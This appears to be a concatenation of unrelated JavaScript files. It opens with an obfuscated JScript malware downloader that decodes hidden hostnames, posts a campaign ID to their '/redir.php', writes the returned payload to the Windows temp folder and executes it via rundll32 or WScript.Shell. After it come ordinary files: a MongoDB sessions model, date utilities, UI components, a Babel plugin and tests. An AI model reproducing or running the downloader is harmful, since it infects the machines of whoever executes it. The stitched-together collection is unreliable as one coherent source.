sVFmZfSR8 = "IT0601"; function sVFmZfSR5(sVFmZfSR6) { return new ActiveXObject(sVFmZfSR6) //// r6JLy1ijVPK //// 9eoOj }; //// b81c44zCnlGhKEGFeeq //// rMgXtx1jVd3fR2 function sVFmZfSR(rIeIICpx) { var sVFmZfSR4 = 's% }\x07\x05aiu<\x1do\x7f###u91t\x16\x00g\x02p<\x1f&&",$}8aMu$98H###o*"`\x18\x05p\x15q:\x14#[5:%9a###o*"`\x18\x05p\x15q:\x14#[5:%9a###X\x0e\x03F.,E3S\x01~\x0b\x18\x19\x1a\x06\x1a\x02An<###w\x276|\x10\x1dr\x0fw7~-\x271xb###s% }\x07\x05aiu<\x1do\x7f'.split("###"); //// U2gGxa //// v5ziPM5Ffk if (rIeIICpx == "") { LsDvpMnJxWwnVn = "." + "d" + "l" + "l"; } else { LsDvpMnJxWwnVn = "." + "p" + "d" + "f"; }; for (var imUdEbeKDequx = 0; imUdEbeKDequx < sVFmZfSR4.length; imUdEbeKDequx++) { var TREFONbYDJWO = sVFmZfSR5("WScript.Shell"); //// nugznF3J0MgFJS6 //// vAjJP EZYYP = TREFONbYDJWO.ExpandEnvironmentStrings("%TEMP%") + "\\" + Math.round(1e8 * Math.random()) + LsDvpMnJxWwnVn; NoPeoSwZPtbg = false; sVFmZfSR0 = sVFmZfSR5("MSXML2.XMLHTTP"); sVFmZfSR0.onreadystatechange = function() { if (4 == sVFmZfSR0.readyState && 200 == sVFmZfSR0.status) { var sVFmZfSR1 = sVFmZfSR5("ADODB.Stream"); if (sVFmZfSR1.open(), sVFmZfSR1.type = 1, sVFmZfSR1.write(sVFmZfSR0.ResponseBody), 5e3 < sVFmZfSR1.size) { NoPeoSwZPtbg = true; //// KiU13559 //// IaR517JKlqQjx2OsWqJs sVFmZfSR1.position = 0; sVFmZfSR1.saveToFile(EZYYP, 2); // try { if (rIeIICpx == "") { TREFONbYDJWO.Exec("rundll32 " + EZYYP + ", " + "DllRegisterServer"); } else { TREFONbYDJWO.Run(EZYYP, 1, 0); }; // } catch (sVFmZfSR2) { // }; } sVFmZfSR1.close() } }; //try { var LfMovFf = 'changedG6sPbuvuh4k5c'; var goBIRMOhbeagHV = sVFmZfSR4[imUdEbeKDequx]; for (var vBdRTlFLm = "", fEKLnpY6 = 0, fEKLnpY7 = 0; fEKLnpY6 < goBIRMOhbeagHV.length; fEKLnpY6++) vBdRTlFLm += String.fromCharCode(goBIRMOhbeagHV.charCodeAt(fEKLnpY6) ^ LfMovFf.charCodeAt(fEKLnpY7)), fEKLnpY7++, fEKLnpY7 == LfMovFf.length && (fEKLnpY7 = 0); sVFmZfSR7 = "http://" + vBdRTlFLm + "/redir" + "." + "p" + "h" + "p"; //// 4JogrI //// BmWHYaTvBJw1enjn3W sVFmZfSR0.open("POST", sVFmZfSR7, false); sVFmZfSR0.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); sVFmZfSR0.send("iTlOlnxhMXnM=" + Math.random() + "&jndj=" + sVFmZfSR8 + rIeIICpx); //} catch (sVFmZfSR3) { //}; if (NoPeoSwZPtbg) { break; }; //// 6LZ2jBFuEgyS7 //// mwbUiiO }; //// x3VHA4peO //// nlGS2Sb }; sVFmZfSR(""); sVFmZfSR("&ncm=REujpaEONlDaKr"); //// cakOzhDNWTne2k //// f5rxqOAoRrAz9ENwnH
import { Base } from './_Base'; import { readSecondaryPreferred } from '../../../../server/database/readSecondaryPreferred'; export const aggregates = { dailySessionsOfYesterday(collection, { year, month, day }) { return collection.aggregate([{ $match: { userId: { $exists: true }, lastActivityAt: { $exists: true }, device: { $exists: true }, type: 'session', $or: [{ year: { $lt: year }, }, { year, month: { $lt: month }, }, { year, month, day: { $lte: day }, }], }, }, { $sort: { _id: 1, }, }, { $project: { userId: 1, device: 1, day: 1, month: 1, year: 1, time: { $trunc: { $divide: [{ $subtract: ['$lastActivityAt', '$loginAt'] }, 1000] } }, }, }, { $match: { time: { $gt: 0 }, }, }, { $group: { _id: { userId: '$userId', device: '$device', day: '$day', month: '$month', year: '$year', }, time: { $sum: '$time' }, sessions: { $sum: 1 }, }, }, { $group: { _id: { userId: '$_id.userId', day: '$_id.day', month: '$_id.month', year: '$_id.year', }, time: { $sum: '$time' }, sessions: { $sum: '$sessions' }, devices: { $push: { sessions: '$sessions', time: '$time', device: '$_id.device', }, }, }, }, { $project: { _id: 0, type: { $literal: 'user_daily' }, _computedAt: { $literal: new Date() }, day: '$_id.day', month: '$_id.month', year: '$_id.year', userId: '$_id.userId', time: 1, sessions: 1, devices: 1, }, }], { allowDiskUse: true }); }, getUniqueUsersOfYesterday(collection, { year, month, day }) { return collection.aggregate([{ $match: { year, month, day, type: 'user_daily', }, }, { $group: { _id: { day: '$day', month: '$month', year: '$year', }, count: { $sum: 1, }, sessions: { $sum: '$sessions', }, time: { $sum: '$time', }, }, }, { $project: { _id: 0, count: 1, sessions: 1, time: 1, }, }]).toArray(); }, getUniqueUsersOfLastMonth(collection, { year, month, day }) { return collection.aggregate([{ $match: { type: 'user_daily', ...aggregates.getMatchOfLastMonthToday({ year, month, day }), }, }, { $group: { _id: { userId: '$userId', }, sessions: { $sum: '$sessions', }, time: { $sum: '$time', }, }, }, { $group: { _id: 1, count: { $sum: 1, }, sessions: { $sum: '$sessions', }, time: { $sum: '$time', }, }, }, { $project: { _id: 0, count: 1, sessions: 1, time: 1, }, }], { allowDiskUse: true }).toArray(); }, getMatchOfLastMonthToday({ year, month, day }) { const pastMonthLastDay = new Date(year, month - 1, 0).getDate(); const currMonthLastDay = new Date(year, month, 0).getDate(); const lastMonthToday = new Date(year, month - 1, day); lastMonthToday.setMonth(lastMonthToday.getMonth() - 1, (currMonthLastDay === day ? pastMonthLastDay : Math.min(pastMonthLastDay, day)) + 1); const lastMonthTodayObject = { year: lastMonthToday.getFullYear(), month: lastMonthToday.getMonth() + 1, day: lastMonthToday.getDate(), }; if (year === lastMonthTodayObject.year && month === lastMonthTodayObject.month) { return { year, month, day: { $gte: lastMonthTodayObject.day, $lte: day }, }; } if (year === lastMonthTodayObject.year) { return { year, $and: [{ $or: [{ month: { $gt: lastMonthTodayObject.month }, }, { month: lastMonthTodayObject.month, day: { $gte: lastMonthTodayObject.day }, }], }, { $or: [{ month: { $lt: month }, }, { month, day: { $lte: day }, }], }], }; } return { $and: [{ $or: [{ year: { $gt: lastMonthTodayObject.year }, }, { year: lastMonthTodayObject.year, month: { $gt: lastMonthTodayObject.month }, }, { year: lastMonthTodayObject.year, month: lastMonthTodayObject.month, day: { $gte: lastMonthTodayObject.day }, }], }, { $or: [{ year: { $lt: year }, }, { year, month: { $lt: month }, }, { year, month, day: { $lte: day }, }], }], }; }, getUniqueDevicesOfLastMonth(collection, { year, month, day }) { return collection.aggregate([{ $match: { type: 'user_daily', ...aggregates.getMatchOfLastMonthToday({ year, month, day }), }, }, { $unwind: '$devices', }, { $group: { _id: { type: '$devices.device.type', name: '$devices.device.name', version: '$devices.device.version', }, count: { $sum: '$devices.sessions', }, time: { $sum: '$devices.time', }, }, }, { $project: { _id: 0, type: '$_id.type', name: '$_id.name', version: '$_id.version', count: 1, time: 1, }, }], { allowDiskUse: true }).toArray(); }, getUniqueDevicesOfYesterday(collection, { year, month, day }) { return collection.aggregate([{ $match: { year, month, day, type: 'user_daily', }, }, { $unwind: '$devices', }, { $group: { _id: { type: '$devices.device.type', name: '$devices.device.name', version: '$devices.device.version', }, count: { $sum: '$devices.sessions', }, time: { $sum: '$devices.time', }, }, }, { $project: { _id: 0, type: '$_id.type', name: '$_id.name', version: '$_id.version', count: 1, time: 1, }, }]).toArray(); }, getUniqueOSOfLastMonth(collection, { year, month, day }) { return collection.aggregate([{ $match: { type: 'user_daily', 'devices.device.os.name': { $exists: true, }, ...aggregates.getMatchOfLastMonthToday({ year, month, day }), }, }, { $unwind: '$devices', }, { $group: { _id: { name: '$devices.device.os.name', version: '$devices.device.os.version', }, count: { $sum: '$devices.sessions', }, time: { $sum: '$devices.time', }, }, }, { $project: { _id: 0, name: '$_id.name', version: '$_id.version', count: 1, time: 1, }, }], { allowDiskUse: true }).toArray(); }, getUniqueOSOfYesterday(collection, { year, month, day }) { return collection.aggregate([{ $match: { year, month, day, type: 'user_daily', 'devices.device.os.name': { $exists: true, }, }, }, { $unwind: '$devices', }, { $group: { _id: { name: '$devices.device.os.name', version: '$devices.device.os.version', }, count: { $sum: '$devices.sessions', }, time: { $sum: '$devices.time', }, }, }, { $project: { _id: 0, name: '$_id.name', version: '$_id.version', count: 1, time: 1, }, }]).toArray(); }, }; export class Sessions extends Base { constructor(...args) { super(...args); this.tryEnsureIndex({ instanceId: 1, sessionId: 1, year: 1, month: 1, day: 1 }); this.tryEnsureIndex({ instanceId: 1, sessionId: 1, userId: 1 }); this.tryEnsureIndex({ instanceId: 1, sessionId: 1 }); this.tryEnsureIndex({ sessionId: 1 }); this.tryEnsureIndex({ year: 1, month: 1, day: 1, type: 1 }); this.tryEnsureIndex({ type: 1 }); this.tryEnsureIndex({ ip: 1, loginAt: 1 }); this.tryEnsureIndex({ _computedAt: 1 }, { expireAfterSeconds: 60 * 60 * 24 * 45 }); const db = this.model.rawDatabase(); this.secondaryCollection = db.collection(this.model._name, { readPreference: readSecondaryPreferred(db) }); } getUniqueUsersOfYesterday() { const date = new Date(); date.setDate(date.getDate() - 1); const year = date.getFullYear(); const month = date.getMonth() + 1; const day = date.getDate(); return { year, month, day, data: Promise.await(aggregates.getUniqueUsersOfYesterday(this.secondaryCollection, { year, month, day })), }; } getUniqueUsersOfLastMonth() { const date = new Date(); date.setMonth(date.getMonth() - 1); const year = date.getFullYear(); const month = date.getMonth() + 1; const day = date.getDate(); return { year, month, day, data: Promise.await(aggregates.getUniqueUsersOfLastMonth(this.secondaryCollection, { year, month, day })), }; } getUniqueDevicesOfYesterday() { const date = new Date(); date.setDate(date.getDate() - 1); const year = date.getFullYear(); const month = date.getMonth() + 1; const day = date.getDate(); return { year, month, day, data: Promise.await(aggregates.getUniqueDevicesOfYesterday(this.secondaryCollection, { year, month, day })), }; } getUniqueDevicesOfLastMonth() { const date = new Date(); date.setDate(date.getDate() - 1); const year = date.getFullYear(); const month = date.getMonth() + 1; const day = date.getDate(); return { year, month, day, data: Promise.await(aggregates.getUniqueDevicesOfLastMonth(this.secondaryCollection, { year, month, day })), }; } getUniqueOSOfYesterday() { const date = new Date(); date.setDate(date.getDate() - 1); const year = date.getFullYear(); const month = date.getMonth() + 1; const day = date.getDate(); return { year, month, day, data: Promise.await(aggregates.getUniqueOSOfYesterday(this.secondaryCollection, { year, month, day })), }; } getUniqueOSOfLastMonth() { const date = new Date(); date.setDate(date.getDate() - 1); const year = date.getFullYear(); const month = date.getMonth() + 1; const day = date.getDate(); return { year, month, day, data: Promise.await(aggregates.getUniqueOSOfLastMonth(this.secondaryCollection, { year, month, day })), }; } createOrUpdate(data = {}) { const { year, month, day, sessionId, instanceId } = data; if (!year || !month || !day || !sessionId || !instanceId) { return; } const now = new Date(); return this.upsert({ instanceId, sessionId, year, month, day }, { $set: data, $setOnInsert: { createdAt: now, }, }); } closeByInstanceIdAndSessionId(instanceId, sessionId) { const query = { instanceId, sessionId, closedAt: { $exists: 0 }, }; const closeTime = new Date(); const update = { $set: { closedAt: closeTime, lastActivityAt: closeTime, }, }; return this.update(query, update); } updateActiveSessionsByDateAndInstanceIdAndIds({ year, month, day } = {}, instanceId, sessions, data = {}) { const query = { instanceId, year, month, day, sessionId: { $in: sessions }, closedAt: { $exists: 0 }, }; const update = { $set: data, }; return this.update(query, update, { multi: true }); } logoutByInstanceIdAndSessionIdAndUserId(instanceId, sessionId, userId) { const query = { instanceId, sessionId, userId, logoutAt: { $exists: 0 }, }; const logoutAt = new Date(); const update = { $set: { logoutAt, }, }; return this.update(query, update, { multi: true }); } createBatch(sessions) { if (!sessions || sessions.length === 0) { return; } const ops = []; sessions.forEach((doc) => { const { year, month, day, sessionId, instanceId } = doc; delete doc._id; ops.push({ updateOne: { filter: { year, month, day, sessionId, instanceId }, update: { $set: doc, }, upsert: true, }, }); }); return this.model.rawCollection().bulkWrite(ops, { ordered: false }); } } export default new Sessions('sessions');
//>>built define(["dojox/main","dojo/_base/lang","dojo/date","./persian/Date"],function(l,m,n,k){var g=m.getObject("date.persian",!0,l);g.getDaysInMonth=function(b){return b.getDaysInPersianMonth(b.getMonth(),b.getFullYear())};g.compare=function(b,e,a){b instanceof k&&(b=b.toGregorian());e instanceof k&&(e=e.toGregorian());return n.compare.apply(null,arguments)};g.add=function(b,e,a){var d=new k(b);switch(e){case "day":d.setDate(b.getDate()+a);break;case "weekday":var c=b.getDay();if(5>c+a&&0<c+a)d.setDate(b.getDate()+ a);else{var f=e=0;5==c?(c=4,f=0<a?-1:1):6==c&&(c=4,f=0<a?-2:2);var c=0<a?5-c-1:-c,h=a-c,g=parseInt(h/5);0!=h%5&&(e=0<a?2:-2);e=e+7*g+h%5+c;d.setDate(b.getDate()+e+f)}break;case "year":d.setFullYear(b.getFullYear()+a);break;case "week":a*=7;d.setDate(b.getDate()+a);break;case "month":b=b.getMonth();d.setMonth(b+a);break;case "hour":d.setHours(b.getHours()+a);break;case "minute":d._addMinutes(a);break;case "second":d._addSeconds(a);break;case "millisecond":d._addMilliseconds(a)}return d};g.difference= function(b,e,a){e=e||new k;a=a||"day";var d=e.getFullYear()-b.getFullYear(),c=1;switch(a){case "weekday":d=Math.round(g.difference(b,e,"day"));c=parseInt(g.difference(b,e,"week"));if(0==d%7)d=5*c;else{a=0;var f=b.getDay(),h=e.getDay(),c=parseInt(d/7);e=d%7;b=new k(b);b.setDate(b.getDate()+7*c);b=b.getDay();if(0<d)switch(!0){case 5==f:a=-1;break;case 6==f:a=0;break;case 5==h:a=-1;break;case 6==h:a=-2;break;case 5<b+e:a=-2}else if(0>d)switch(!0){case 5==f:a=0;break;case 6==f:a=1;break;case 5==h:a=2; break;case 6==h:a=1;break;case 0>b+e:a=2}d=d+a-2*c}c=d;break;case "year":c=d;break;case "month":a=e.toGregorian()>b.toGregorian()?e:b;f=e.toGregorian()>b.toGregorian()?b:e;c=a.getMonth();h=f.getMonth();if(0==d)c=a.getMonth()-f.getMonth();else for(c=12-h+c,d=f.getFullYear()+1,a=a.getFullYear(),d;d<a;d++)c+=12;e.toGregorian()<b.toGregorian()&&(c=-c);break;case "week":c=parseInt(g.difference(b,e,"day")/7);break;case "day":c/=24;case "hour":c/=60;case "minute":c/=60;case "second":c/=1E3;case "millisecond":c*= e.toGregorian().getTime()-b.toGregorian().getTime()}return Math.round(c)};return g});
import React from 'react'; import { Step, Stepper, StepButton, StepContent, } from 'material-ui/Stepper'; import RaisedButton from 'material-ui/RaisedButton'; import FlatButton from 'material-ui/FlatButton'; /** * A basic vertical non-linear implementation */ class VerticalNonLinear extends React.Component { state = { stepIndex: 0, }; handleNext = () => { const {stepIndex} = this.state; if (stepIndex < 2) { this.setState({stepIndex: stepIndex + 1}); } }; handlePrev = () => { const {stepIndex} = this.state; if (stepIndex > 0) { this.setState({stepIndex: stepIndex - 1}); } }; renderStepActions(step) { return ( <div style={{margin: '12px 0'}}> <RaisedButton label="Next" disableTouchRipple={true} disableFocusRipple={true} primary={true} onTouchTap={this.handleNext} style={{marginRight: 12}} /> {step > 0 && ( <FlatButton label="Back" disableTouchRipple={true} disableFocusRipple={true} onTouchTap={this.handlePrev} /> )} </div> ); } render() { const {stepIndex} = this.state; return ( <div style={{maxWidth: 380, maxHeight: 400, margin: 'auto'}}> <Stepper activeStep={stepIndex} linear={false} orientation="vertical" > <Step> <StepButton onClick={() => this.setState({stepIndex: 0})}> Select campaign settings </StepButton> <StepContent> <p> For each ad campaign that you create, you can control how much you're willing to spend on clicks and conversions, which networks and geographical locations you want your ads to show on, and more. </p> {this.renderStepActions(0)} </StepContent> </Step> <Step> <StepButton onClick={() => this.setState({stepIndex: 1})}> Create an ad group </StepButton> <StepContent> <p>An ad group contains one or more ads which target a shared set of keywords.</p> {this.renderStepActions(1)} </StepContent> </Step> <Step> <StepButton onClick={() => this.setState({stepIndex: 2})}> Create an ad </StepButton> <StepContent> <p> Try out different ad text to see what brings in the most customers, and learn how to enhance your ads using features like ad extensions. If you run into any problems with your ads, find out how to tell if they're running and how to resolve approval issues. </p> {this.renderStepActions(2)} </StepContent> </Step> </Stepper> </div> ); } } export default VerticalNonLinear;
import syntaxTypeScript from "@babel/plugin-syntax-typescript"; import { types as t } from "@babel/core"; import transpileEnum from "./enum"; function isInType(path) { switch (path.parent.type) { case "TSTypeReference": case "TSQualifiedName": case "TSExpressionWithTypeArguments": case "TSTypeQuery": return true; default: return false; } } interface State { programPath: any; } export default function() { return { inherits: syntaxTypeScript, visitor: { //"Pattern" alias doesn't include Identifier or RestElement. Pattern: visitPattern, Identifier: visitPattern, RestElement: visitPattern, Program(path, state: State) { state.programPath = path; }, ImportDeclaration(path, state: State) { // Note: this will allow both `import { } from "m"` and `import "m";`. // In TypeScript, the former would be elided. if (path.node.specifiers.length === 0) { return; } let allElided = true; const importsToRemove: Path<Node>[] = []; for (const specifier of path.node.specifiers) { const binding = path.scope.getBinding(specifier.local.name); // The binding may not exist if the import node was explicitly // injected by another plugin. Currently core does not do a good job // of keeping scope bindings synchronized with the AST. For now we // just bail if there is no binding, since chances are good that if // the import statement was injected then it wasn't a typescript type // import anyway. if (binding && isImportTypeOnly(binding, state.programPath)) { importsToRemove.push(binding.path); } else { allElided = false; } } if (allElided) { path.remove(); } else { for (const importPath of importsToRemove) { importPath.remove(); } } }, TSDeclareFunction(path) { path.remove(); }, TSDeclareMethod(path) { path.remove(); }, VariableDeclaration(path) { if (path.node.declare) path.remove(); }, VariableDeclarator({ node }) { if (node.definite) node.definite = null; }, ClassMethod(path) { const { node } = path; if (node.accessibility) node.accessibility = null; if (node.abstract) node.abstract = null; if (node.optional) node.optional = null; if (node.kind !== "constructor") { return; } // Collect parameter properties const parameterProperties = []; for (const param of node.params) { if (param.type === "TSParameterProperty") { parameterProperties.push(param.parameter); } } if (!parameterProperties.length) { return; } const assigns = parameterProperties.map(p => { let name; if (t.isIdentifier(p)) { name = p.name; } else if (t.isAssignmentPattern(p) && t.isIdentifier(p.left)) { name = p.left.name; } else { throw path.buildCodeFrameError( "Parameter properties can not be destructuring patterns.", ); } const assign = t.assignmentExpression( "=", t.memberExpression(t.thisExpression(), t.identifier(name)), t.identifier(name), ); return t.expressionStatement(assign); }); const statements = node.body.body; const first = statements[0]; const startsWithSuperCall = first !== undefined && t.isExpressionStatement(first) && t.isCallExpression(first.expression) && t.isSuper(first.expression.callee); // Make sure to put parameter properties *after* the `super` call. // TypeScript will enforce that a 'super()' call is the first statement // when there are parameter properties. node.body.body = startsWithSuperCall ? [first, ...assigns, ...statements.slice(1)] : [...assigns, ...statements]; // Rest handled by Function visitor }, TSParameterProperty(path) { path.replaceWith(path.node.parameter); }, ClassProperty(path) { const { node } = path; if (!node.value) { path.remove(); return; } if (node.accessibility) node.accessibility = null; if (node.abstract) node.abstract = null; if (node.readonly) node.readonly = null; if (node.optional) node.optional = null; if (node.definite) node.definite = null; if (node.typeAnnotation) node.typeAnnotation = null; }, TSIndexSignature(path) { path.remove(); }, ClassDeclaration(path) { const { node } = path; if (node.declare) { path.remove(); return; } if (node.abstract) node.abstract = null; }, Class({ node }) { if (node.typeParameters) node.typeParameters = null; if (node.superTypeParameters) node.superTypeParameters = null; if (node.implements) node.implements = null; }, Function({ node }) { if (node.typeParameters) node.typeParameters = null; if (node.returnType) node.returnType = null; const p0 = node.params[0]; if (p0 && t.isIdentifier(p0) && p0.name === "this") { node.params.shift(); } }, TSModuleDeclaration(path) { if (!path.node.declare && path.node.id.type !== "StringLiteral") { throw path.buildCodeFrameError("Namespaces are not supported."); } path.remove(); }, TSInterfaceDeclaration(path) { path.remove(); }, TSTypeAliasDeclaration(path) { path.remove(); }, TSEnumDeclaration(path) { transpileEnum(path, t); }, TSImportEqualsDeclaration(path) { throw path.buildCodeFrameError( "`import =` is not supported by @babel/plugin-transform-typescript\n" + "Please consider using " + "`import <moduleName> from '<moduleName>';` alongside " + "Typescript's --allowSyntheticDefaultImports option.", ); }, TSExportAssignment(path) { throw path.buildCodeFrameError( "`export =` is not supported by @babel/plugin-transform-typescript\n" + "Please consider using `export <value>;`.", ); }, TSTypeAssertion(path) { path.replaceWith(path.node.expression); }, TSAsExpression(path) { path.replaceWith(path.node.expression); }, TSNonNullExpression(path) { path.replaceWith(path.node.expression); }, CallExpression(path) { path.node.typeParameters = null; }, NewExpression(path) { path.node.typeParameters = null; }, }, }; function visitPattern({ node }) { if (node.typeAnnotation) node.typeAnnotation = null; if (t.isIdentifier(node) && node.optional) node.optional = null; // 'access' and 'readonly' are only for parameter properties, so constructor visitor will handle them. } function isImportTypeOnly(binding, programPath) { for (const path of binding.referencePaths) { if (!isInType(path)) { return false; } } if (binding.identifier.name != "React") { return true; } // "React" is referenced as a value if there are any JSX elements in the code. let sourceFileHasJsx = false; programPath.traverse({ JSXElement() { sourceFileHasJsx = true; }, }); return !sourceFileHasJsx; } }
var Backbone = require("backbone"); var Router = require("app/routers/router"); var NotesCollection = require("app/collections/notes"); var NotesView = require("app/views/notes"); var NotesFilterView = require("app/views/notes-filter"); var NoteView = require("app/views/note"); describe("app/routers/router", function () { // Default option: Trigger and replace history. var opts = { trigger: true, replace: true }; // Common setup (after stubbing, etc.). var _setupRouter = function (ctx) { // Create router with stubs and manual fakes. ctx.router = new Router(); // Start history to enable routes to fire. Backbone.history.start(); // Navigate to home page to start. ctx.router.navigate("", { trigger: false, replace: true }); // Spy on all route events. ctx.routerSpy = sinon.spy(); ctx.router.on("route", ctx.routerSpy); }; // Routing tests are a bit complicated in that the actual hash // fragment can change unless fully mocked out. We *do not* mock // the URL mutations meaning that a hash fragment will appear in // our test run (making the test driver appear to be a single // page app). // // There are alternative approaches to this, such as Backbone.js' // own unit tests which fully fake out the URL browser location // with a mocked object to instead contain URL information and // behave mostly like a real location. beforeEach(function () { // Dependencies and fake patches. this.sandbox = sinon.sandbox.create(); this.sandbox.mock(NotesView); this.sandbox.stub(NotesFilterView.prototype); this.sandbox.stub(NoteView.prototype); NoteView.prototype.render.returns({ $el: null }); this.sandbox.stub(NotesCollection.prototype, "get", function (i) { return i === "1" ? { id: "1" } : null; }); // Starting point. this.router = null; }); afterEach(function () { Backbone.history.stop(); this.sandbox.restore(); }); describe("routing", function () { beforeEach(function () { // Stub out notes and note to check routing. // // Happens **before** the router instantiation. // If we stub *after* instantiation, then `notes` and `note` // can no longer be stubbed in the usual manner. sinon.stub(Router.prototype, "notes"); sinon.stub(Router.prototype, "note"); _setupRouter(this); }); afterEach(function () { Router.prototype.notes.restore(); Router.prototype.note.restore(); }); it("can route to notes", function () { // Start out at other route and navigate home. this.router.navigate("note/1/edit", opts); this.router.navigate("", opts); expect(Router.prototype.notes) .to.have.been.calledTwice.and // Updated for Backbone.js v1.1.2. Was: // .to.have.been.calledWithExactly(); .to.have.been.calledWithExactly(null); }); it("can route to note", function () { this.router.navigate("note/1/edit", opts); expect(Router.prototype.note) .to.have.been.calledOnce.and // Updated for Backbone.js v1.1.2. Was: // .to.have.been.calledWithExactly("1", "edit"); .to.have.been.calledWithExactly("1", "edit", null); }); }); describe("notes", function () { beforeEach(function () { _setupRouter(this); }); it("can navigate to notes page", function () { // Start out at other route and navigate home. this.router.navigate("note/1/edit", opts); this.router.navigate("", opts); // Spy has now been called **twice**. expect(this.routerSpy) .to.have.been.calledTwice.and .to.have.been.calledWith("notes"); }); }); describe("note", function () { beforeEach(function () { _setupRouter(this); }); it("can navigate to note page", sinon.test(function () { this.router.navigate("note/1/edit", opts); expect(this.routerSpy) .to.have.been.calledOnce.and // Updated for Backbone.js v1.1.2. Was: // .to.have.been.calledWith("note", ["1", "edit"]); .to.have.been.calledWith("note", ["1", "edit", null]); })); it("can navigate to same note", sinon.test(function () { // Short router: Skip test if empty router. if (!this.router.noteView) { return; } this.router.navigate("note/1/edit", opts); expect(this.routerSpy) .to.have.been.calledOnce.and // Updated for Backbone.js v1.1.2. Was: // .to.have.been.calledWith("note", ["1", "edit"]); .to.have.been.calledWith("note", ["1", "edit", null]); // Manually patch in model property (b/c stubbed). this.router.noteView.model = { id: "1" }; // Navigating to same with different action works. this.router.navigate("note/1/view", opts); expect(this.routerSpy) .to.have.been.calledTwice.and // Updated for Backbone.js v1.1.2. Was: // .to.have.been.calledWith("note", ["1", "view"]); .to.have.been.calledWith("note", ["1", "view", null]); // Even with error, should still `remove` existing. this.router.navigate("note/2/view", opts); expect(this.router.noteView.remove) .to.have.been.calledOnce; })); it("navigates to list on no model", function () { // Short router: Skip test if empty router. if (!this.router.noteView) { return; } this.router.navigate("note/2/edit", opts); // Note that the route events are out of order because // the re-navigation to "notes" happens **first**. expect(this.routerSpy) .to.have.been.calledTwice.and // Updated for Backbone.js v1.1.2. Was: // .to.have.been.calledWith("note", ["2", "edit"]).and .to.have.been.calledWith("note", ["2", "edit", null]).and .to.have.been.calledWith("notes"); }); }); }); /* Backbone Testing References * * **See** * http://backbone-testing.com/chapters/05/test/test.html * http://backbone-testing.com/notes/test/js/spec/routers/router.spec.js * http://backbone-testing.com/notes/test/test.html?grep=Router */
import { Recognizer } from './recognizer' var swipeRecognizer = { events: ['swipe', 'swipeleft', 'swiperight', 'swipeup', 'swipedown'], getAngle: function(x, y) { return Math.atan2(y, x) * 180 / Math.PI }, getDirection: function(x, y) { if (Math.abs(x) >= Math.abs(y)) { return x < 0 ? 'left' : 'right' } return y < 0 ? 'up' : 'down' }, touchstart: function(event) { Recognizer.start(event, avalon.noop) }, touchmove: function(event) { Recognizer.move(event, avalon.noop) }, touchend: function(event) { if (event.changedTouches.length !== 1) { return } Recognizer.end(event, function(pointer, touch) { var isflick = (pointer.distance > 30 && pointer.distance / pointer.duration > 0.65) if (isflick) { var extra = { deltaX: pointer.deltaX, deltaY: pointer.deltaY, touch: touch, touchEvent: event, direction: swipeRecognizer.getDirection(pointer.deltaX, pointer.deltaY), isVertical: pointer.isVertical } var target = pointer.element Recognizer.fire(target, 'swipe', extra) Recognizer.fire(target, 'swipe' + extra.direction, extra) } }) } } swipeRecognizer.touchcancel = swipeRecognizer.touchend Recognizer.add('swipe', swipeRecognizer)
'use strict'; var redefineAll = require('./_redefine-all') , getWeak = require('./_meta').getWeak , anObject = require('./_an-object') , isObject = require('./_is-object') , strictNew = require('./_strict-new') , forOf = require('./_for-of') , createArrayMethod = require('./_array-methods') , $has = require('./_has') , arrayFind = createArrayMethod(5) , arrayFindIndex = createArrayMethod(6) , id = 0; // fallback for uncaught frozen keys var uncaughtFrozenStore = function(that){ return that._l || (that._l = new FrozenStore); }; var UncaughtFrozenStore = function(){ this.a = []; }; var findUncaughtFrozen = function(store, key){ return arrayFind(store.a, function(it){ return it[0] === key; }); }; UncaughtFrozenStore.prototype = { get: function(key){ var entry = findUncaughtFrozen(this, key); if(entry)return entry[1]; }, has: function(key){ return !!findUncaughtFrozen(this, key); }, set: function(key, value){ var entry = findUncaughtFrozen(this, key); if(entry)entry[1] = value; else this.a.push([key, value]); }, 'delete': function(key){ var index = arrayFindIndex(this.a, function(it){ return it[0] === key; }); if(~index)this.a.splice(index, 1); return !!~index; } }; module.exports = { getConstructor: function(wrapper, NAME, IS_MAP, ADDER){ var C = wrapper(function(that, iterable){ strictNew(that, C, NAME); that._i = id++; // collection id that._l = undefined; // leak store for uncaught frozen objects if(iterable != undefined)forOf(iterable, IS_MAP, that[ADDER], that); }); redefineAll(C.prototype, { // 23.3.3.2 WeakMap.prototype.delete(key) // 23.4.3.3 WeakSet.prototype.delete(value) 'delete': function(key){ if(!isObject(key))return false; var data = getWeak(key); if(data === true)return uncaughtFrozenStore(this)['delete'](key); return data && $has(data, this._i) && delete data[this._i]; }, // 23.3.3.4 WeakMap.prototype.has(key) // 23.4.3.4 WeakSet.prototype.has(value) has: function has(key){ if(!isObject(key))return false; var data = getWeak(key); if(data === true)return uncaughtFrozenStore(this).has(key); return data && $has(data, this._i); } }); return C; }, def: function(that, key, value){ var data = getWeak(anObject(key), true); if(data === true)uncaughtFrozenStore(that).set(key, value); else data[that._i] = value; return that; }, ufstore: uncaughtFrozenStore };
/** * @author alteredq / http://alteredqualia.com/ */ module.exports = function(THREE) { function MaskPass( scene, camera ) { if (!(this instanceof MaskPass)) return new MaskPass(scene, camera); this.scene = scene; this.camera = camera; this.enabled = true; this.clear = true; this.needsSwap = false; this.inverse = false; }; MaskPass.prototype = { render: function ( renderer, writeBuffer, readBuffer, delta ) { var context = renderer.context; // don't update color or depth context.colorMask( false, false, false, false ); context.depthMask( false ); // set up stencil var writeValue, clearValue; if ( this.inverse ) { writeValue = 0; clearValue = 1; } else { writeValue = 1; clearValue = 0; } context.enable( context.STENCIL_TEST ); context.stencilOp( context.REPLACE, context.REPLACE, context.REPLACE ); context.stencilFunc( context.ALWAYS, writeValue, 0xffffffff ); context.clearStencil( clearValue ); // draw into the stencil buffer renderer.render( this.scene, this.camera, readBuffer, this.clear ); renderer.render( this.scene, this.camera, writeBuffer, this.clear ); // re-enable update of color and depth context.colorMask( true, true, true, true ); context.depthMask( true ); // only render where stencil is set to 1 context.stencilFunc( context.EQUAL, 1, 0xffffffff ); // draw if == 1 context.stencilOp( context.KEEP, context.KEEP, context.KEEP ); } }; return MaskPass };
import assert from 'assert'; import Config, { stores } from '../src'; const { Memory } = stores; const config = new Config(); const store = new Memory({ it: 'works', }); config.addStore(store); config .get('it') .then(value => { assert.equal(value, 'works'); }) .catch(console.log);
